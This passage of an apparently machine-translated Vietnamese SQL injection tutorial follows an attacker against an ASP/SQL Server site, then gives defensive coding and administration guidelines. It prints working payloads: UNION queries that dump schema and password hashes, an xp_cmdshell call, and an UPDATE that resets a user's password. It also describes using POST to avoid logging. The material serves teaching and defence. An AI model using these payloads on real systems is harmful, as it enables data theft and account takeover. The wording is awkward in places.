Với trang HTML, Def có thể bây giờ chỉ đơn giản là đầu vào bất kỳ một chuỗi rằng ông muốn có được thông qua để truy vấn, và trình duyệt sẽ làm tất cả các ký tự mã hóa cho ông. Ông kiểm tra và sau đó xác minh rằng ngay cả khi ông sử dụng POST thay vì GET như phương pháp hình thức của mình, ông vẫn sẽ nhận được danh sách các cửa hàng Michigan. Ông vui mừng vì nó tương tự như chấp nhận dựa trên các thông số POST-bởi vì nó có nghĩa là SQL-piggybacked của mình các thông số có thể sẽ không được đăng nhập trong logfile IIS, vì thường chỉ có chuỗi truy vấn (GET) tham số được lưu trữ. Điều này sẽ không che giấu một thực tế rằng ông là đánh trang, mà đúng hơn là bất cứ điều gì đặc biệt bất thường là được truyền cho nó. Chúng ta hãy xem xét kỹ hơn những gì mà trình duyệt sẽ gửi đến máy chủ web bằng cách sử dụng phương thức GET:
GET /holiday/store_list.asp?state=MI HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.4.2-2 i686)
Host: www.xyzcorp.com
[...]
Nếu cấu hình IIS bị bỏ lại mặc định của nó, IIS kết quả nhập đăng nhập sẽ bao gồm các tham số được gửi, do đó đưa ra một cơ hội để xem những gì các thông số đã được gửi xử lý sự cố.
2001-xx-xx 19:31:32 172.x.x.x - 172.x.x.x 80 GET /holiday/store_list.asp?state=MI - 200 Mozilla/4.77+[en]+(X11;+U;+Linux+2.4.2-2 i686)
Bây giờ chúng ta hãy xem làm thế nào yêu cầu được gửi thông qua phương thức POST (Tôi đã thêm tham số "một cái gì đó" để hiển thị nhiều tham số được mã hóa):
POST /holiday/store_list.asp HTTP/1.1
[...]
Content-type: application/x-www-form-urlencoded
Content-Length: 23
something=else&state=MI
Điều này sẽ mang lại mục đăng nhập sau. Lưu ý rằng các thông số chưa đăng nhập:
2001-xx-xx 19:31:32 172.x.x.x - 172.x.x.x 80 POST /holiday/store_list.asp - 200 Mozilla/4.77+[en]+(X11;+U;+Linux+2.4.2-2 i686)
Ngoài ra mặc dù nó là không bình thường cho các tường lửa để quét querystrings cho các thông số, nó là tiếp tục không chắc rằng nó sẽ kiểm tra các thông số POST, vì vậy Def cảm thấy khá tự tin rằng hành động của mình sẽ không nhìn nghi ngờ.
Ông bắt đầu quét của mình bằng cách cố gắng ngày càng phức tạp chuỗi poke và sản tại các cơ chế truy vấn. Ông tạo ra các yêu cầu sau đây, lấy cùng một recordset:
state=MI' + '
Nó nhanh chóng trở nên rõ ràng rằng các trang ASP không phải là kiểm tra thông số trên truy vấn này ở tất cả, vì vậy đối với anh ta một số các cánh cửa được mở.
Def của di chuyển là để xem nếu anh ta có thể thực hiện UNION cho thấy các tên bảng và các lĩnh vực:
state=MI'
UNION
select sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name from sysobjects, syscolumns, systypes
where sysobjects.xtype = 'U'
AND sysobjects.id = syscolumns.id
AND syscolumns.xtype = systypes.xtype
--
Lưu ý ('--') hai dấu gạch ngang ở hàng cuối cùng. Tại sao là có? Trong MS SQL Server, điều này sẽ bình luận ra các mã còn lại trên cùng một dòng của kết quả SQL. Điều này sẽ giúp Def loại bỏ bất kỳ mã dư thừa, như một dấu trích dẫn nội dung bài viết này, hoặc có lẽ là phần thêm của bản tuyên bố như VÀ / HOẶC kiểm tra hoặc một ORDER BY khoản. Tùy thuộc vào những điều khoản được sử dụng trong các mã, sử dụng một dấu gạch ngang gấp đôi ở cuối có thể gây chèn mã thất bại, nhưng nó cũng có thể giúp kẻ tấn công loại bỏ mã số đó là không cần thiết cho họ. Ở đây, Def sử dụng nó để có được thoát khỏi một dấu trích dẫn nội dung bài viết này, một trong những mã của máy chủ ASP gắn thêm sau khi tham số nhà nước.
Thực hiện truy vấn này UNION, bây giờ là rõ ràng rằng Def của mục tiêu là trong tầm nhìn: ông nhìn thấy bảng dữ liệu mà dường như có liên quan đến các trang web đối tác thành viên. Sau đây là hiển thị trên trang HTML:
XYZ East Lansing Outlet
XYZ of Traverse City
Campus XYZ/Mount Pleasant
userAccounts: username: varchar
userAccounts: passwordMD5: varchar
...
XYZOrders: orderID: int
XYZOrders: accountNumber: varchar
XYZOrders: orderDescrDES: varchar
XYZOrders: orderQtyDES: varchar
...
Def là không chắc chắn những gì DES có nghĩa là ở cuối của tên trường, nhưng ông quan tâm vì vậy bây giờ anh ta cố gắng UNION một truy vấn chống lại các userAcccounts cơ sở dữ liệu:
state=MI'
UNION select username + '/' + passwordMD5 from userAccounts
--
Bây giờ ông nhìn thấy:
XYZ East Lansing Outlet
...
jdoe/5194aa963a6c9f7d97dc3cc2be94642b
jsmith/e811af40e80c396fb9dd59c45a1c9
Giờ đây, ông khảo sát các dữ liệu XYZOrder:
state=MI'
UNION select accountNumber + '/' + orderDescrDES from XYZOrders
--
XYZ East Lansing Outlet
...
AA010204/3A2EAD12F475D82C1FC97BB9A6D955E1EA5541946BB4F2E6F29555A6E8F1FB3C
AA010608/D955E1EA5541946BB4F2E6F29555A6E8F1FB3C3A2EAD12F475D82C1FC97BB9A6
Ông được một danh sách tên người dùng rất hữu ích, nhưng có vẻ như từ những kết quả mà các mật khẩu được lưu trữ như băm MD5 một chiều. Def cũng là loại sốc khi nhìn thấy rằng XYZ đã thực sự mã hóa dữ liệu thứ tự của chúng trên máy chủ, điều này là khá phổ biến trong hầu hết các ứng dụng ông nhìn thấy. Tuy nhiên, mục đích của bài viết này là để cố gắng làm cho mọi việc khó khăn cho những người như Def, do đó, chúng tôi có nó.
Nhưng Def là không nản lòng. Anh ấy đã bagged một số thông tin hữu ích, tất cả mà không làm quá nhiều như là một xào xạc trên cơ sở dữ liệu. Sau khi tất cả, anh là truy cập vào cơ sở dữ liệu với các kết nối tương tự như bất kỳ truy vấn khác từ các ứng dụng web, và trừ khi một số máy chủ SQL quản trị với các thời gian miễn phí của những người đàn ông Maytag là làm việc tại XYZ, có là gần như không có cơ hội hành động của mình được nhìn thấy.
Def ngồi lại và phản ánh vào các động thái tiếp theo. Rõ ràng rằng ít nhất là cho các dữ liệu thứ tự ( XYZOrders.orderDescrDES , XYZOrders.orderQtyDES ), có phải là một chìa khóa giải mã một nơi nào đó . Mặc dù nó có thể là trên máy chủ IIS, ASP để sử dụng, anh đã không được có thể nhận được quyền truy cập vào hệ thống tập tin trên máy đó.
Ông cố gắng để xem nếu anh ta có thể truy cập xp_cmdshell mở rộng thủ tục lưu trữ:
state=MI'
xp_cmdshell 'dir c:\*.*'
--
Nhưng điều này không có vẻ để làm việc, mà là quá xấu cho Def bởi vì nếu ông có thể truy cập nó, ông muốn về cơ bản đã bị xâm nhập các máy chủ cơ sở dữ liệu. Vì vậy, ông bắt đầu suy nghĩ cách khác để có được các dữ liệu được mã hóa. Sau đó, anh nhận ra rằng có lẽ ông không cần phải tìm chìa khóa DES để giải mã dữ liệu anh ta có thể có các máy chủ web làm điều đó cho anh ta. Ông con số rằng ông có thể thay đổi lĩnh vựcpasswordMD5 một giá trị được biết đến, và sau đó chỉ cần đăng nhập vào các thành viên chỉ thực tế trang web với tên người dùng và mật khẩu. Các trang web đã có thể giải mã các thông tin để hiển thị cho người sử dụng.Cách khác, ông có thể tạo một tài khoản "mới bằng cách chèn một hàng mới với một tên người dùng và mật khẩu mới, và cập nhật accountNumber lĩnh vực để truy cập vào tất cả các accountNumbers khác nhau trong cơ sở dữ liệu. Nguy cơ Def rằng ông bây giờ sẽ được sử dụng các ứng dụng chỉ dành riêng cho thành viên, và rằng hoạt động này có thể được theo dõi trong một thời trang sử dụng của nó sẽ khơi dậy sự nghi ngờ.
Ông quyết định rằng việc tạo một tài khoản người dùng mới có thể gây ra một số xáo trộn, vì vậy ông thay vì cập nhật một tài khoản người dùng cũ một thời gian ngắn để xem nếu anh ta thực tế có thể truy cập các trang web chỉ dành riêng cho thành viên. Ông chọn jdoe , có một băm mật khẩu của 5194aa963a6c9f7d97dc3cc2be94642b . Def tiết kiệm mật khẩu này, sau đó tạo ra riêng của mình. Ông xác định băm MD5 cho chuỗi "aaaaaa" bằng cách sử dụng các lệnh sau đây trên máy tính địa phương của mình :
$ echo -n aaaaaa | md5sum
0b4e7a0e5fe84ad35fb5f95b9ceeac79
Def sau đó sử dụng SQL piggybacking để cố gắng thay đổi lĩnh vực mật khẩu cho jdoe:
state=MI';
UPDATE userAccounts SET passwordMD5 = '0b4e7a0e5fe84ad35fb5f95b9ceeac79'
WHERE username = 'jdoe'
--
Def sau đó xác nhận rằng thay đổi đã được thực hiện:
state=MI'
UNION select username + '/' + passwordMD5 from userAccounts
WHERE username = 'jdoe'
--
Bây giờ ông nhìn thấy:
XYZ East Lansing Outlet
...
jdoe/0b4e7a0e5fe84ad35fb5f95b9ceeac79
Tại thời điểm này Def quyết định đi plunge và đăng nhập như jdoe các thành viên chỉ trang web thực tế. Có một vài rủi ro có liên quan, rất có thể truy cập tất cả là đăng nhập, và hơn nữa có thể có các biện pháp như báo cáo lại cho người dùng khi họ đăng nhập, có thể tip một người sử dụng hiểu biết. Tuy nhiên, Def là một con bạc, và con số mà có lẽ không có người dùng sẽ thực sự chú ý nếu hệ thống đăng nhập cuối cùng của họ là khác nhau từ những gì nó nên được.
Def trong thực tế có thể đăng nhập với jdoe / aaaaaa và có thể sử dụng các ứng dụng để duyệt qua jdoe mua. Sau khi ông đã ghi lại những dữ liệu hữu ích, có thể thiết lập mật khẩu trở lại giá trị ban đầu, và di chuyển vào một tài khoản người dùng khác.
Def đã giành được trả tiền trong ngày của mình bằng cách tìm thông tin đặt hàng, nhưng vẫn tiếp tục poke xung quanh cơ sở dữ liệu với hy vọng tìm thấy một lỗ mà ông có thể tiếp tục thỏa hiệp hệ thống.
Attack: Phương tiện phòng
Tổng công ty XYZ là ở trong tình trạng khủng khiếp. Dự án web lớn đầu tiên của họ, mà họ đã trải qua ít nhất hàng trăm ngàn đô la, đã bị hack chỉ trong một vài phút, và vào thời điểm này họ không biết nó được nêu ra.Miễn là những điều vẫn là cách mà họ đang có, Def sẽ có thể xem hầu hết các dữ liệu của họ mà không bị bất cứ ai khôn ngoan hơn. Một tổ chức có thể làm gì để ngăn chặn các cuộc tấn công như vậy?
Tôi tin rằng khi phát triển một ứng dụng web, lập trình nên sự lẩm bẩm thần chú sau đây, một số trong đó đã được thông qua bởi các chuyên gia bảo mật:
* Thực hành các Nguyên tắc đặc quyền tối thiểu
* Loại bỏ đầu vào không mong muốn
* Loại bỏ đầu ra không mong muốn
* Biết Ranh giới của luật Thy
(Củng cố và lặp lại )
Mỗi có để làm với sự chuẩn bị, và làm thế nào để chuẩn bị mã để được như nạc, kín đáo và khiêm tốn nhất có thể. Tất cả các cơ hội để củng cố một quy tắc, chẳng hạn như kiểm tra các đặc quyền, được thực hiện. Mã nên có thể làm những gì bạn muốn nó, và không có nhiều hơn nữa. Thật đáng buồn này cách tiếp cận Zen đến lập trình không bán trong một thế giới đói khát cho các tính năng.
Chúng ta hãy đặt này vào thực tế. Như chúng ta phát hiện trước đó, một vấn đề nghiêm trọng với nhiều ứng dụng là họ không sử dụng các thông số mạnh mẽ đánh máy. Nhưng chúng ta không đặt tất cả các lỗi trên các thông số, sau khi tất cả, có nhiều hơn để xử lý hơn là chỉ ăn các thông số vào một truy vấn cũng có nhiều cách khác nhau để thực hiện truy vấn, mỗi phương pháp tiếp cận với các cân nhắc an ninh riêng của mình.
Những gì tôi muốn làm bây giờ là chứng minh một số cách khác nhau người ta có thể thực hiện truy vấn trong ADO trên máy chủ web, và so sánh chúng trong ánh sáng của họ như là mạnh nhất có thể.
Sau đây giả định rằng conn là một đối tượng kết nối ADO, và rằng nó đã được khởi tạo. rs là recordset kết quả.
A) Nguyên SQL
set rs = conn.execute("select headline from pressReleases
where categoryID = " & request("id") )
Điều này là tất nhiên phương pháp tiếp cận tồi tệ nhất thực hiện, và thường các loại đầu tiên được hiển thị trong một điển hình 'ASP trong cuốn sách 24 giờ. Chúng tôi đã xem các vấn đề với cách tiếp cận này trong suốt bài báo, vì vậy tôi sẽ tiếp tục với các tùy chọn khác
B) liệu SQL, với tham số chuyển đổi
set rs = conn.execute("select headline from pressReleases
where categoryID = " & cdbl(request("id")) )
Đây là một phương pháp thô nhưng hiệu quả đối với một số các thông số, đặc biệt hữu ích cho những ngày và số. cdbl () chuyển đổi các giá trị cho một giá trị số, nếu có thể. Một cố gắng để chèn một chuỗi số không vào tuyên bố này tạo ra lỗi VBScript đột ngột:
Microsoft VBScript runtime error '800a000d'
Type mismatch: 'cdbl'
/page2.asp, line 45
Tuy nhiên, với các thông số cần được thông qua vào SQL như chuỗi, bạn phải sử dụng chức năng thoát, trích dẫn các chuỗi theo cách như vậy nó không làm gián đoạn dòng chảy SQL, và bổ sung, bạn sẽ muốn dải nhân vật 'lạ' , khác nhau từ hệ thống để hệ thống. Một số môi trường, như PHP, đi trước và chuỗi thoát-trích dẫn nội dung bài viết này cho bạn, nhưng mặt khác nó có thể không dải các ký tự khác ASCII không mong muốn có thể gây tổn hại cho cơ sở dữ liệu mục tiêu.
Bạn có thể tạo ra các chức năng của riêng bạn để các thông số màn hình nếu bạn muốn. Ví dụ sau đây có giá trị, và nếu nó là một con số, nó sẽ trả về nó như là handle_this_error là placemarker nơi bạn muốn để xử lý thực tế là một giá trị không phải số đã được thông qua. Các mã sau đây giải thích một giá trị trống như NULL, mà có thể hoặc có thể không được mong muốn trong bất kỳ ứng dụng nhất định:
function numToSQL(value)
if (value <> "") then
if (isNumeric(value)) then
numToSQL = value
else
handle_this_error
end if
else
numToSQL = "NULL"
end if
end function
Tương tự như vậy, một chức năng chuyển đổi chuỗi thực sự chỉ trả về chuỗi trích dẫn một lối thoát, và cũng có thể đặt dấu ngoặc kép nhúng xung quanh kết quả. Bạn cũng có thể dải bất kỳ ký tự không mong muốn trong một chức năng như hình dưới đây:
function strToSQL(value)
if (value <> "") then
dim val
val = value
val = replace(val,"'","''")
strToSQL = "'" & val & "'"
else
strToSQL = "NULL"
end if
end function
Các chức năng này có thể được sử dụng kết hợp trong một câu lệnh SQL nguyên như vậy:
set rs = conn.execute("select headline from pressReleases
where categoryID = " & numToSQL(request("id") &
" AND author = " & strToSQL(request("author"))) )
Gói DBI Perl có một số chức năng có thể giúp một nhà phát triển thực hiện loại bỏ trốn trích dẫn này. Của nó trích dẫn nội dung bài viết này () chức năng có thể được sử dụng trong các cách sau đây (từ trang người đàn ông DBI) để đảm bảo rằng chuỗi thoát trích dẫn:
$sql = sprintf "SELECT foo FROM bar WHERE baz = %s", $dbh->quote("Don't");
Một vấn đề nghiêm trọng với chuyển đổi tham số là nó rất dễ dàng để quên áp dụng một chuyển đổi một tham số mà không nhận thấy nó, do đó tạo ra một lỗ hổng bảo mật trong ứng dụng. Kết quả là, mặc dù điều này có thể có hiệu quả, nó cũng dễ bị tác động xấu của lập trình đêm cuối.
C) Nguyên thủ tục lưu trữ
set rs = conn.execute("exec getPressRelease " & request("id") )
Nhiều nhà phát triển tin rằng bằng cách sử dụng thủ tục lưu trữ, họ modularizing mã của họ và do đó nó là không thể để thực thi mã bổ sung. Tuy nhiên, phương pháp này là về cơ bản không hoàn thiện như các báo cáo SQL nguyên khác bởi vì bạn vẫn có thể nối thêm các truy vấn riêng biệt, lợi thế duy nhất ở đây là báo cáo UNION không hoạt động trong thủ tục lưu trữ. Đang cố gắng để chạy một tuyên bố UNION sau khi một thủ tục lưu trữ trả về như sau:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Incorrect syntax near the keyword 'UNION'.
/page2.asp, line 53
Trinh sát là một chút khó khăn hơn trong trường hợp này, nhưng vẫn còn sử dụng thủ tục không được kiểm soát được lưu trữ không phải là một cách tiếp cận phù hợp.
D) Báo cáo chuẩn bị
Một tuyên bố chuẩn bị (đôi khi được gọi là một truy vấn tham số) là một tính năng đặc biệt mà chỉ có một số cơ sở dữ liệu, giống như SQL Server, thực hiện. Lập trình tạo ra một chuỗi SQL chỉ như bình thường SQL, nhưng nơi họ muốn một tham số đầu vào, họ đặt một ('?'), dấu hỏi thường được gọi là một trình giữ chỗ. Như bạn có thể thấy trong ví dụ dưới đây, ADO sau đó cho phép bạn để nối thêm các thông số, có chức năng trong SQL Server sử dụng để hợp nhất các thông số vào bản tuyên bố.
set command = server.createobject("ADODB.COMMAND")
command.commandType = adCmdText
command.activeConnection = connectionstring
command.commandText = "select headline from pressRelease where categoryID = ?"
command.parameters.append(command.CreateParameter ("categoryID", adInteger,
adParamInput, 4, request("id")))
set rs = command.Execute()
Các thông số được nối thêm vào cấu trúc lệnh append () và createParameter () phương pháp, đảm bảo rằng tham số là những gì được quy định trong lĩnh vực loại tham số (trong ví dụ trên, adInteger ). Nó cũng đảm bảo rằng kích thước của tham số này, đặc biệt là của một chuỗi trong lý do. Ví dụ, nếu bạn một cách rõ ràng nhà nước rằng chiều dài chuỗi là 50 trong createParameter () phương pháp, nó sẽ thi hành giới hạn đó trước khi gửi các nhân vật cơ sở dữ liệu. Kiểm tra lỗi sau khi cố gắng munge một trường số thành một chuỗi:
ADODB.Command error '800a0d5d'
Application uses a value of the wrong type for the current operation.
/page2.asp, line 84
Trong số lưu ý đặc biệt là thực tế không giống như các lỗi trước đó hiển thị, được tạo ra bởi các nhà cung cấp OLE DB, lỗi này được tạo ra bởi các đối tượng ADODB.Command . Điều này có nghĩa rằng lỗi đã gặp phải trước khi lệnh được gửi đến máy chủ SQL. Đó là một điều tốt vì nó có nghĩa rằng nó không phải thực hiện ngay cả những mã phân tích cú pháp câu lệnh trên máy chủ SQL, và do đó sẽ có ít cơ hội cho một cái gì đó để đi sai .
ColdFusion là một ví dụ về nơi mà các phương pháp đề nghị để đối phó với lệnh SQL injection là sử dụng kiểm tra thông số bản địa thông qua các báo cáo chuẩn bị. Một ví dụ được mô tả trong "Phát triển ColdFusion ứng dụng" (trang 94):
<cfquery name="getFirst" datasource="cfsnippets">
SELECT *
FROM courses
WHERE Course_ID=<cfqueryparam value="#Course_ID#" cfsqltype="CF_SQL_INTEGER">
</cfquery>
Trong ví dụ này, thay vì chỉ đơn giản là đi qua trong Course_ID #, <CFQUERYPARAM> thẻ được sử dụng để cung cấp mô tả thêm tham số dự kiến. (Xin lưu ý rằng ColdFusion không tuân theo các tiêu chuẩn XML trong 'gắn thẻ.) Khi một tuyên bố sử dụng <CFQUERYPARAM> tag, ColdFusion diễn giải các báo cáo như một tuyên bố chuẩn bị, và đặt một trình giữ chỗ <CFQUERYPARAM> cư trú. Sau đó, về việc thực hiện các tham số thông qua tại như một loại CF_SQL_INTEGER , và nếu cơ sở dữ liệu mục tiêu hỗ trợ các báo cáo chuẩn bị sẵn sàng, nó sẽ áp dụng các quy tắc phù hợp với tham số được thông qua. Thông tin chi tiết của <CFQUERYPARAM> cũng là tài liệu trong bài viết "Sử dụng CFQUERYPARAM" tại URL sau đây.
http://www.macromedia.com/v1/handlers/index.cfm?ID=22276&method=full
Gói DBI Perl cũng cho phép các trình điều khiển cơ sở dữ liệu để chấp nhận các báo cáo chuẩn bị, và để xác định các kiểu dữ liệu. Kiểm tra mã sau đây, chuyển thể từ các trang người đàn ông DBI:
$dbh->{RaiseError} = 1; # save having to check each method call
$sth = $dbh->prepare("SELECT name, age FROM people WHERE name = ?");
$sth->bind_param(1, "John", SQL_VARCHAR); # placeholders are numbered from 1
$sth->execute;
$ Dbh , xử lý cơ sở dữ liệu, đưa ra các tuyên bố với giữ chỗ, và bind_param ( ) phương pháp được sử dụng để vượt qua các thông số. Điều này cũng giống như ADO của phương pháp append ( ) bởi vì nó cho phép các trình điều khiển cơ sở dữ liệu để sử dụng chức năng tự nhiên của cơ sở dữ liệu để phân tích các thông số.
Tuy nhiên, một số hiện thực của các báo cáo chuẩn bị chỉ đơn giản là có thể giảm trong văn bản của các tham số được đưa ra, bởi vì các cơ sở dữ liệu không tự nhiên thực hiện các truy vấn tham số. Vì vậy, tùy thuộc vào công cụ của bạn, người ta chỉ nên sử dụng phương pháp này nếu họ biết các thông số được kiểm tra đối với loại trước khi lắp ráp tuyên bố trong cơ sở dữ liệu. Đọc cơ sở dữ liệu của bạn và tài liệu hướng dẫn lái xe cẩn thận để hiểu giới hạn của họ với các báo cáo chuẩn bị sẵn sàng.
E) tham số thủ tục lưu trữ
Các mục cuối cùng trong cuộc diễu hành của các phương pháp là các thủ tục tham số được lưu trữ, trong ADO sản lượng các phương pháp hiệu quả nhất để làm cho một số báo cáo quy định, và chỉ báo cáo các quy định, được thực hiện.
Điều này đạt được bằng cách bảo đảm rằng tất cả mọi thứ là những gì các lập trình viên mong đợi nó được. Bằng cách đặt command.commandType như adCmdStoredProc lập trình viên xác định rằng các chuỗi quy định tại command.commandText là một thủ tục duy nhất được lưu trữ, và cần được điều trị như vậy. Các quy tắc tương tự cũng áp dụng ở đây khi các tham số được nối thêm vào các lệnh đối tượng .
set command = server.createobject("ADODB.COMMAND")
command.commandType = adCmdStoredProc
command.activeConnection = connectionstring
command.commandText = "getPressRelease"
command.parameters.append(command.CreateParameter ("CategoryID",
adInteger, adParamInput, 4, request("id")))
set rs = command.Execute()
Hãy nhớ rằng trong kịch bản này, đây là bằng cách sử dụng các phương pháp có nguồn gốc từ SQL Server để lắp ráp và thực hiện các thủ tục lưu trữ, vì vậy chúng tôi không thực sự tạo ra một chuỗi SQL. Một lợi ích đặc biệt hữu ích của việc này là rằng khi phụ thêm các tham số văn bản, bạn sẽ không cần phải thực hiện kiểm tra chuỗi bổ sung, chẳng hạn như thoát khỏi trích dẫn các chuỗi, như ADO không cần phải thực sự đóng gói các văn bản trong dấu ngoặc kép.
Kết quả là bạn biết chính xác những gì đang thực hiện, và rằng các giá trị được thông qua vào đáp ứng các loại cần thiết.
Một bên lưu ý: trong ASP có cách hoàn toàn khác nhau để tiếp cận tình hình recordset lấy: bạn có thể sử dụng các đối tượng COM để thực thi SQL của bạn, thay vì làm nó từ bên trong mã ASP. Mặc dù đây là nói chung không phải là một điều xấu, tôi muốn chỉ ra rằng bạn vẫn còn tùy thuộc vào các lỗ hổng tương tự, tùy thuộc vào cách bạn vượt qua các thông số vào lệnh của bạn - tất cả các quy tắc tương tự áp dụng như trên. Nếu một cái gì đó nên được một số nguyên và bạn đối xử với nó như là một chuỗi, mã của bạn vẫn có thể dễ bị tổn thương để tiêm lệnh SQL. Vì vậy, nó vẫn không thể làm tổn thương để sử dụng mạnh mẽ đánh máy thủ tục lưu trữ trong đối tượng COM của bạn.
Hướng dẫn để mã hóa
Bây giờ chúng ta đã xem xét các phương pháp truy vấn khác nhau, tôi muốn đề nghị đầu tiên của hướng dẫn một số cần được theo sau khi phát triển một ứng dụng web với bộ công cụ này. Những tất nhiên là không phải là biện pháp an ninh duy nhất bạn nên áp dụng và thực sự chỉ liên quan đến củng cố các lỗ hổng có thể trong trường lệnh SQL injection.
Hướng dẫn # 1: Sử dụng các thông số mạnh mẽ đánh máy, nếu có thể kết hợp với các thủ tục lưu trữ, để vượt qua các truy vấn vào cơ sở dữ liệu.
Mặc dù đó hướng dẫn một mình sẽ có ngăn chặn Def truy cập cơ sở dữ liệu theo cách đó, chúng tôi không được thực hiện. Hãy nhớ rằng, nó luôn luôn có thể cho một ai đó để quên áp dụng một quy tắc, vì vậy chúng tôi thực hiện cho nó bằng cách áp dụng vệ chuyên sâu.
Hướng dẫn # 2: Sử dụng tiêu chuẩn, thông tin đăng nhập duy nhất ứng dụng, chứ không phải là một hoặc dbo tài khoản.
Nhiều SQL Server quản trị hệ thống như thiết lập từng đăng nhập ứng dụng như dbo hoặc chủ sở hữu cơ sở dữ liệu cho cơ sở dữ liệu cụ thể của nó, cũng như nhóm nghiên cứu XYZ. Tuy nhiên, để thiết lập một ứng dụng tiếp xúc như một ứng dụng web như dbo chắc chắn là một cái gì đó để tránh. Các dbo đặc quyền là không mạnh mẽ như một , mà là một yêu thích cho các nhà phát triển và có kiểm soát toàn bộ máy chủ dữ liệu, nhưng trong bối cảnh của một cơ sở dữ liệu dbo có thể làm bất cứ điều gì, tốt hay xấu.
Hướng dẫn # 3: Chỉ cấp EXECUTE truy cập vào các thủ tục cần thiết được lưu trữ.
Sử dụng các Nguyên tắc Privilege nhất, các quản trị cơ sở dữ liệu cần khóa đặc quyền đến một mức độ thích hợp. Trong hầu hết các ứng dụng web, có gần như là không cần có SELECT, INSERT, UPDATE và DELETE đặc quyền trên bảng mỗi. Trong thực tế, vì chúng ta đang sử dụng thủ tục lưu trữ cho tất cả các truy vấn cơ sở dữ liệu (Hướng dẫn # 1), chúng ta chỉ nên cấp EXECUTE truy cập vào các thủ tục đó được lưu trữ để đăng nhập - họ không cần truy cập trực tiếp đến bản thân các bảng. Điều này sẽ loại bỏ các cơ hội cho một người nào đó để chọn dữ liệu từ một bảng mà chỉ nên được gắn vào (giống như một bảng đăng ký, ví dụ).
Hướng dẫn # 4: tiện ích riêng biệt có quyền truy cập riêng biệt .
Ngoài ra khóa xuống phụ thuộc vào ứng dụng. Ví dụ, với XYZ, họ đã có một doanh nghiệp thành viên rất nhạy cảm, chỉ một phần của một trang web, và họ cũng đã có một kỳ nghỉ trang web quảng cáo công khai. Trong trường hợp này, nó là một ý tưởng tốt để thiết lập hai thông tin đăng nhập riêng biệt cho những người truy cập. Điều này sẽ không chỉ giữ mỗi bộ hoạt động trong phạm vi của nó, nó cũng sẽ giúp các quản trị viên hệ thống giám sát và khắc phục sự cố lỗi ứng dụng, như mỗi một phần của trang web sẽ đăng ký một tên đăng nhập khác nhau.
Một số có thể lập luận rằng khi một trang web bị hack, sau đó có được tài khoản người dùng có thể truy cập và poke xung quanh cơ sở dữ liệu với. Câu trả lời của tôi là tôi muốn có một số tài khoản hạn chế được tấn công hơn một tài khoản với truy cập đối tượng đầy đủ.
Nhớ khi tôi đã chỉ ra rằng, giống như các nhà phát triển tại Quảng cáo ABC, nhiều nhà phát triển nghĩ rằng, chương trình của tôi là chỉ truy vấn một bảng này, vì vậy không nên đặt ra bất kỳ mối đe dọa phơi bày các dữ liệu khác? " Vâng, chủ trương này thực sự là các loại phân chia người nghĩ rằng đã có, và làm cho nó thực sự. Các nhà phát triển của các trang web xúc tiến kỳ nghỉ đã đúng - có phải là một bộ phận hợp lý giữa các truy cập bằng cách mã của họ và truy cập vào mã trang web chỉ dành riêng cho thành viên. Họ chỉ không đi thêm bước để đảm bảo rằng, như xa như các quyền truy cập cơ sở dữ liệu đi, đó là sự thật.
Hướng dẫn # 5: Hủy bỏ hoặc vô hiệu hóa bất kỳ mở rộng thủ tục không cần thiết được lưu trữ .
Tình hình bất hạnh với XYZ rằng họ đã dành tất cả thời gian và tiền bạc vào hai bức tường lửa và cấu hình của họ để khoảng cách các dữ liệu từ máy chủ web, nhưng có quyền truy cập đến một thủ tục lưu trữ mở rộng như xp_cmdshell, đột nhiên Def có thể đã hoàn toàn bỏ qua web máy chủ và hiệu quả bị xâm nhập các máy chủ dữ liệu.
Ngoài ra để xp_cmdshell , thủ tục lưu trữ sp_adduser có thể được khá nguy hiểm, vì nó có thể được gọi là dbo để tạo một đăng nhập mới . Đảm bảo bạn có giới hạn truy cập vào các thủ tục này, và bất kỳ những người khác như bạn thấy phù hợp.
Hướng dẫn # 6: mọi thứ khác một quản trị hệ thống tốt.
Từ điểm này phía trước vẫn còn nhiều có thể được thực hiện để khóa truy cập trong bất kỳ ứng dụng web / cơ sở dữ liệu. Cài đặt các công cụ để phân tích phục hồi ngày hôm đó khi mọi thứ đi sai, hoặc là do để tin tặc, mã xấu hay thất bại phần cứng. Thiết lập sao lưu dữ liệu kịp thời, và lưu trữ dữ liệu tại các địa điểm thích hợp và làm cho nó có sẵn cho những người thích hợp. Thiết lập một kế hoạch phục hồi thảm họa và thực hiện các phiên phục hồi thực hành. Giữ cho quá trình cài đặt và các kho lưu trữ đầy đủ các mã ứng dụng có sẵn để nếu có một mối quan tâm về những thay đổi mã, bạn có thể triển khai lại hoặc xác minh tính toàn vẹn mã. Áp dụng các nguyên tắc này phù hợp với nhiệm vụ quản trị khác thực hành tốt nhất sẽ cải thiện đáng kể tính bảo mật của ứng dụng dựa trên web.
Quy trình Xử lý sự cố.
Vì vậy, đến nay chúng tôi đã xem xét rất nhiều thông tin về lỗ hổng của chính nó, nó hoạt động như thế nào, những gì có thể thông qua một cách khai thác thành công, và một số biện pháp kỹ thuật về phòng của nó. Nhưng bên ngoài của bối cảnh kỹ thuật này được đóng khung một bức tranh lớn hơn: làm thế nào để các tổ chức có hiệu quả chuẩn bị và phục hồi từ các loại tấn công này? Tôi sẽ sử dụng các bước chuẩn bị, nhận dạng, Ngăn chặn, xoá phục hồi, và các bài học kinh nghiệm để minh họa cho cả hai như thế nào tình hình có thể có được tốt hơn, và còn làm thế nào XYZ có thể, sau khi phát hiện vấn đề, nhận các mảnh và di chuyển mà không có phá dỡ toàn bộ liên doanh mới của họ.
Chuẩn bị: Bắt quyền càng nhiều càng tốt lần đầu tiên.
